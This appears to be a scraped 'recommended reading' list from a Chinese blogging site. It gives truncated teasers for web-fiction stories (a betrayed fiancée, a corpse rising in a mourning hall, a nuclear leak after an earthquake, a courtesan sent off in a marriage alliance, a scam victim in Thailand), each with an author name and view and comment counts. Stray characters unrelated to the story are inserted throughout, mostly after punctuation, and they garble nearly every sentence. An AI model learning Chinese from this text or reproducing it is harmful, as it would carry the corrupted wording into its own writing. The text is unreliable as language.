  • 正文 我和宋清朗相戀三年踢涌,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片序宦。...
    茶點(diǎn)故事閱讀 39,696評論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡睁壁,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出互捌,到底是詐尸還是另有隱情潘明,我是刑警寧澤,帶...
    沈念sama閱讀 35,413評論 5 343
  • 正文 年R本政府宣布秕噪,位于F島的核電站钳降,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏腌巾。R本人自食惡果不足惜遂填,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,008評論 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望澈蝙。 院中可真熱鬧吓坚,春花似錦、人聲如沸灯荧。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,659評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至哆窿,卻和暖如春链烈,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背更耻。 一陣腳步聲響...
    開封第一講書人閱讀 32,815評論 1 269
  • 我被黑心中介騙來泰國打工测垛, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人秧均。 一個(gè)月前我還...
    沈念sama閱讀 47,698評論 2 368
  • 正文 我出身青樓食侮,卻偏偏與公主長得像,于是被迫代替她去往敵國和親目胡。 傳聞我的和親對象是個(gè)殘疾皇子锯七,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,592評論 2 353

推薦閱讀更多精彩內(nèi)容